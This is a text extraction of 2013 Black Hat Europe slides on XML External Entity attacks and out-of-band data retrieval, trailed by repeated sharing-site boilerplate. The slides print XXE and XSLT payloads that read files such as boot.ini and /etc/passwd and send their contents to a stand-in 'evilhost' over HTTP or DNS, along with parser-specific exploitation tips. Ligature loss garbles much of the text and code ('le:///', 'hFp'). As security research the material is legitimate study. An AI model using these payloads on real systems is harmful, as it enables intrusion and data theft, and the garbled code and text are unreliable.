BH Eu 13 XML Data Osipov Slides

XML
Out-Of-Band Data Retrieval

Timur Yunusov
Alexey Osipov
Who we are
Timur Yunusov:
Web Applica8on Security Researcher
Interna8onal forum on prac8cal security Posi8ve
Hack Days developer
Alexey Osipov:
AFack preven8on mechanisms Researcher
Security tools and Proof of Concepts developer
SCADA StrangeLove team members
Agenda
XML Overview
XML eXternal En88es
En88es in aFributes
Out-Of-Band aFack
DTD
XSLT
Summary
Demos
Ques8ons
XML OVERVIEW
XML overview
Very popular protocol lately
Serializa8on
SOA-architecture (REST, SOAP, OAuth)
Human-readable (at least intended to be)
Many parsers/many op8ons controlling

behavior (over 9000)
Many xml-extensions like XSLT, SOAP, XML
schema
XML overview
Many opportuni8es lead to many
vulnerabili8es:
Adobe (@agarri_fr, spasibo)
PostgreSQL (@d0znpp), PHP, Java
Many hackers techniques
XML EXTERNAL ENTITY
XML enAAes
En88es:
Predened
General

Parameter
& < %

<!ENTITY general hello>
<!ENTITY % param hello>
General and parameter en88es may be:

Internal (dened in current DTD)
External (dened in external resource)
XXE impact
Local le reading
Intranet access
Host-scan/Port-scan
Remote Code Execu8on (not so o_en)
Denial of Service
XXE techniques
XML data output (basic)
Error-based XXE
DTD (invalid/values type deni8on)
Schema valida8on
Blind techniques
XSD values bruteforce (@d0znpp)
Error based output

Schema valida8on In Xerces
parser error : Invalid URI: :[le]
I/O warning : failed to load external en8ty"[le]
parser error : DOCTYPE improperly terminated
Warning: *** [le] in *** on line 11
<!DOCTYPE html[
<!ENTITY % foo SYSTEM "le:///c:/boot.ini">
%foo;]>
XML constraints
XML validity/well-formedness
WFC: No External En8ty References in aBributes
WFC: No < in AFribute Values
WFC: PEs in Internal Subset
Parameter enAAes
resolve/validaAon algorithm
<?xml version="1.0" encoding="uq-8"?>
<!DOCTYPE html [
<!ENTITY % internal SYSTEM "local_le.xml">
%internal;]>
<!ENTITY 8tle "Hello, World!"> ]>
<html>&8tle;</html>
local_le.xml:
<!ENTITY 8tle "Hello, World!">
XXE aJacks restricAons

XML parser reads only valid xml documents
No binary =(
(hFp://www.w3.org/TR/REC-xml/#CharClasses)
Malformed rst string (no encoding aFribute)
(Some parsers)
But we have wrappers!
Resul8ng document should also be valid

No external en88es in aFributes
ENTITIES IN ATTRIBUTES
System enAAes restricAons

bypass within aJributes
Well-formed constraint:
No External En8ty References
So, this is not possible, right?

<!DOCTYPE root[
<ENTITY internal SYSTEM "le:///etc/passwd">
]>
<root aFrib="&internal;/>
System enAAes restricAons

bypass within aJributes
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "hFp://evilhost/evil.xml">
%remote;
<!ENTITY internal
'[boot loader] 8meout ***'>
%param1;
]>
<root aFrib="&internal;" />
Evil.xml
<!ENTITY % payload SYSTEM "le:///c:/boot.ini">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
PaJern validaAon
<xs:restric8on base="xs:string">
<xs:paFern value="&test;" />
</xs:restric8on>
DEMO
OUT-OF-BAND ATTACK
XXE aJacks restricAons

Server-side in general (except Adobe XXE SOP
bypass)
XXE OOB
XXE OOB
What other OOB communica8on techniques are
present?
DNS exltra8on via SQL Injec8on (@stamparm)
UTL_HTTP.REQUEST

xp_leexist
Dblink
LOAD_FILE
XXE OOB
<!DOCTYPE root rSoot
YSTEM
<!DOCTYPE
[
hBp://evilhost/xml.xml>
<root>
<!ENTITY
% remote SYSTEM "hFp://evilhost/evil.xml">
&trick;
</root>
%remote;
<!ENTITY % trick SYSTEM 'hFp://evil/?%5Bboot%20'>
%int;
%trick;]>
Evil.xml
<!ENTITY % payl SYSTEM "le:///c:/boot.ini">
<!ENTITY % int "<!ENTITY

% trick SYSTEM 'hFp://evil/?%payl;'> ">
XXE OOB
DTD Parsing,
SYSTEM reading
AFacker
XML
Server
PROFIT!
Parsing restricAons
Beside restric8ons of all en88es there are also
new ones
PEReferences forbidden in internal
subset (c) XML Specica8on
So we should be able to read some external
resource (local or remote)
Wrappers
Parsing restricAons
Quotes are blocking deni8on of en88es
One should try single/double quotes when
dening en8ty
<!ENTITY % int "<!ENTITY % trick [le

content]>"
Space/new line/other whitespace symbols
should not appear in URI
Wrappers again =)
Or not even needed
Vectors
Depending on parser features lack of DTD
valida8on in main document doesnt mean
lack of valida8on everywhere. Some possible
clues:
External DTD or Internal DTD subset from external
data
Parameter en88es only
XSD Schema
XSLT template
Vectors
<!DOCTYPE root SYSTEM >

<!ENTITY external PUBLIC some_text >
<tag xsi:schemaLoca8on=/>
<tag xsi:noNamespaceSchemaLoca8on=/>
<xs:include schemaLoca8on=>
<xs:import schemaLoca8on=>
<?xml-stylesheet href=?>
XSLT OUT-OF-BAND
XSLT OOB
Controlling XSLT transforma8on template we
can access some data from sensi8ve host:
<xsl:variable name="payload"
select="document('hBp://sensiXve_host/',/)"/>
<xsl:variable name="combine"
select="concat('hBp://evilhost/', $payload)"/>
<xsl:variable name="result"
select="document($combine)" />
XSLT OOB
Depending on available features we can:
Get non-xml data using unparsed-text func8on
Enumerate services/hosts with *-available
func8ons
With substring() we can cra_ such DNS hostname,
that will let us obtain some sensi8ve data via
malicious DNS request to our server
DEMO
Vectors
XML
WAT R U
DOIN?
XML
STAHP!
SUMMARY
XXE OOB Prot

Server-side
Send le content over DNS/HTTP/HTTPs/Smb?
Without error/data output
Client-side products
Nobody has ever tried to hack oneself ;)
Lots of products
Parsers di MS with System.XML

Pros:
URL-encodes query string for OOB technique
Saves all line feeds in aFributes
Cons:
Cant read XML les without encoding declara8on
(we can s8ll read Web.cong .NET)
No wrappers (except system-wide)
Parsers di Java Xerces

Pros:
Can read directories!
Sends NTLM auth data
Dierent wrappers
Cons:
Converts line feeds to spaces when inser8ng in
aFribute
Cant read mul8line les with OOB technique
Parsers di libxml (PHP)

Pros
Wrappers! (expect://, data://)
(hFp://www.slideshare.net/phdays/on-secure-
applica8on-of-php-wrappers)
Most liberal parsing ???
Cons
Cant read big les by default (>8Kb)
Parsers di
MS System.XML
External en8ty in
aFribute value
OOB
read mul8line
OOB
read big les
Directory lis8ng
Valida8ng schema
loca8on
+
+
+

Java Xerces
Libxml (PHP)
Line feeds are

converted to spaces
+
+

+
+
+
Op8on is o_en
enabled
DEMO
Tools
XXE OOB Exploita8on Toolset for Automa8on
DNS knocking
Vectors set
HTTP Server
Tools
Metasploit module (special thnx2 @vegoshin)
Vector set and HTTP server provided to you in
your MSF ;-)
DEMO
Conclusions
General ruina8on? ;-)

Toolset
New ideas for new vectors and
applica8ons
Special greetz
Arseniy Reutov
Ilya Karpov
Mihail Firstov
Sergey Pavlov
Vyacheslav Egoshin
QuesAons?
www.scadastrangelove.org
@Gi_sUngiven
@a66at

BH Eu 13 XML Data Osipov Slides

Uploaded by

Copyright:

Available Formats

BH Eu 13 XML Data Osipov Slides

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

BH Eu 13 XML Data Osipov Slides

Uploaded by

Copyright:

Available Formats

XML

Out-Of-Band Data Retrieval

SCADA StrangeLove team members

Many parsers/many op8ons controlling

Many hackers techniques

XML EXTERNAL ENTITY

&amp; &lt; &#37;

General and parameter en88es may be:

Error based output

XXE aJacks restricAons

Resul8ng document should also be valid

System enAAes restricAons

So, this is not possible, right?

System enAAes restricAons

XXE aJacks restricAons

<!ENTITY % int "<!ENTITY &#37; trick [le

<!DOCTYPE root SYSTEM >

XXE OOB Prot

Parsers di MS with System.XML

Parsers di Java Xerces

Parsers di libxml (PHP)

Line feeds are

General ruina8on? ;-)

You might also like

& < %

<!ENTITY % int "<!ENTITY % trick [le